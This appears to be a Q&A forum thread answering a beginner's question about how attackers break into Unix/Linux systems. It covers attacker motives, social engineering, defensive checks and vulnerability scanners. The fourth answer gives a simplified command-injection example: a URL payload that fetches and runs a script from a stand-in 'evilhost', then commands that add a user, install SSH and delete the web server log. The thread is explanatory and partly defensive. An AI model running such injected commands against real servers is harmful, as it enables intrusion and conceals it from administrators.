How exactly do people “crack” Unix/Linux Systems?

Question

No im not looking to become a cracker or something like that, but Im trying to figure out the process (more from a programming perspective).

So im assuming (guessing) a cracker's main goal is to gain root access to install whatever software (or script) he's written up right? or maybe installing their own kernal module (thats devious for whatever reason) How exactly does a person go about doing this?

I know people use scripts to check for exploits......but I don't see how, and I also don't exactly see what they do with them once they find them? Are they checking versions for known exploits......and then once they find one.......

I know this all sounds very newbish. but im just trying to get an idea of how it works since I know Linux/Unix systems are supposed to be very secure but im trying to figure out how someone would even go about (the process) of gaining root access.

Answer 1

There are countless reasons one might try to compromise a system's security. In broad strokes:

• To use the system's resources (e.g. send spam, relay traffic)
• To acquire information on the system (e.g. get customer data from an ecommerce site).
• To change information on the system (e.g. deface a web site, plant false information, remove information)

Only sometimes do these things require root access. For example, entering a malformed search query on a site that doesn't properly sanitize user input can reveal information from the site's database, such as user names / passwords, email addresses, etc.

Many computer criminals are just "script kiddies"; i.e. people who don't actually understand systems security, and may not even code, but run exploits written by others. These are usually pretty easily defended against because they don't have the ability to adapt; they are limited to exploiting known vulnerabilities. (Though they may leverage botnets -- large groups of compromised computers -- which can mean a danger of DDoS attacks.)

For the skilled attacker, the process goes something like this:

1. Figure out what the goal is, and what the goal is worth. Security -- maintaining it or compromising it -- is a risk/reward calculation. The riskier and more costly something will be, the more inticing the reward must be to make an attack worthwhile.

2. Consider all the moving parts that effect whatever the goal is -- for example, if you want to send spam, you could attack the mail server, but it may make more sense to go after a different network-facing service, as all you really need is use of the target's net connection. If you want user data, you'd start looking at the database server, the webapp and web server that have the ability to access it, the system that backs it up, etc.

   Never discount the human factor. Securing a computer system is far easier than securing human behavior. Getting someone to reveal information they shouldn't, or run code they shouldn't, is both easy and effective. In college, I won a bet with a friend that involved breaking into his uber-secure corporate network by donning a revealing outfit and running into a lecherous Vice President -- my friend's technical expertise far outweighed mine, but nothing trumps the power of a 17yo co-ed in a short skirt!

   If you lack boobs, consider offering up a pointless game or something that idiots will download for fun without considering what it really might be doing.

3. Look at each part you've identified, and consider what it can do, and how that could be tweaked to do what you want -- maybe the help desk resets passwords for users frequently without properly identifying the caller, and calling them sounding confused will get you someone else's password. Maybe the webapp isn't checking what is put in the search box to make sure it isn't code before sticking it in a function it runs. Security compromises usually start with something purposely exposed that can be made to behave in a way it shouldn't.

Answer 2

The largest factor is the type of access the attacker has. If they have physical access, you're screwed. If you're only concerned with remote access then it depends what you have running; good configuration is everything. A standard linux server would probably be running ftp, ssh, http, https, and mysql. SSH is secure, but I wouldn't allow root logins, and a good password on every account is a must. FTP is hit or miss. If you have VSFTP and chroot your users, then it's very secure. Several other version have known vulnerabilities. HTTP is probably going to be your most vulnerable area. Your biggest concern here is anything that executes files on the system, or uploads files to the system. SQL injection is VERY hard if your website is done in PHP5. A group of security students and myself tried SQL injections on an unsanitized PHP5 website for weeks and were unsuccessful. With MySQL be sure to use a non-root user and restrict it to login only from your Apache server.

There's a couple Firefox plugins to test website vulnerabilities: access me, xss me, and sql inject me

Some big things I would always do at competitions to ensure security would be to run:

• netstat - check open ports and connections,
• w - who is logged in, how long,
• Check logs for logins,
• bash history for executed commands,
• ps - running commands,
• /etc/passwd for extra users
• /etc/sudoers for sudo access.

Typically after gaining access, an attacker wants to gain root. There are currently a few privilege escalation vulnerabilities out there that would allow a normal user to gain root. After that, they want to open it up for later access by adding users, and opening up back doors.

Here's my school's cyber defence website. Feel free to look around and ask some questions: https://thislink.doesntexist.org/

Answer 3

Security of a system depends on the skills of the administrator(s), so it's sort of wrong to say "Linux/Unix systems are supposed to be very secure" :)

Now to go about hacking... There is a kind of tools called "vulnerability scanner" like Nessus that looks for things to be exploited. There are thousand of things that can go wrong in a complex system, such as a mis-configured Apache server to allow uploading of arbitrary files to arbitrary places. Those can serve as a stepping stone for further exploits, such as gaining access to a database, or an email account from which the passwords can be restored through the "forget password" feature.

Sometimes a hack is to gain access and do something evil. Sometimes people do it for fun (which is silly, by the way).

AND, here is a story of a famous hack that happened quite recently. I think it will be illustrative to anyone who is looking at security! To quote a summary of exploits:

A Web application with SQL injection flaws and insecure passwords. Passwords that were badly chosen. Passwords that were reused. Servers that allowed password-based authentication. Systems that weren't patched. And an astonishing willingness to hand out credentials over e-mail, even when the person being asked for them should have realized something was up.

Answer 4

There are so many attack vectors as to be near infinite. One of the simplest conceptually is to make a program publicly available, and saying that it does something other than it really does. Give the users friendly instructions with a sudo at the start, and watch the world go boom. This happens every day with closed source programs, since it's unfeasible for a single person to inspect its workings beforehand, as seen with for example Sony CDs.

You can also try to send special strings to a remote host. For a high-level example, say you have a web server with some software running on it, and that software runs part of the URL as a command without escaping or otherwise ensuring that it can't do any harm. Send something like http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Decoded, the search string becomes foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh. If that is run, script.sh would run with the same access rights as the web server user to do anything on the machine. Sometimes people let these run as root for "convenience," in this case a synonym for laziness and/or cluelessness. Even if it is not run as root, that script could then run thousands of tests for other holes in installed software, and run another command if it finds one. That last command could for example be useradd blabla; apt-get install openssh; rm /var/log/apache.log, to gain SSH access and remove traces of the break-in.

[the commands were obviously simplified and probably wouldn't work anyway. YMMV]